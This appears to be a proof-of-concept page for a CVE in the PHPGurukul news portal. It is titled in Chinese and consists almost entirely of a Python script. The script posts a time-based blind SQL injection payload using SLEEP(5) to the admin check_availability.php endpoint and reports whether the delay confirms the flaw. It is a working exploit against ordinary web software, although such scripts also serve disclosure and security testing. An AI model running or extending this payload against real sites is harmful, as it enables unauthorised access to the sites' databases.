CVE-2026-5840: PHPGurukul新闻门户SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-host/admin/check_availability.php" # SQL Injection Payload to test vulnerability # Example: Using a time-based blind payload to check if the database pauses payload_data = { "Username": "admin' AND (SELECT SLEEP(5))-- -" } try: response = requests.post(target_url, data=payload_data) # Check if the response time indicates SQL execution delay if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection triggered time delay.") else: print("[-] Test executed but no delay detected. Patched or invalid payload.") except Exception as e: print(f"[!] Error occurred: {e}")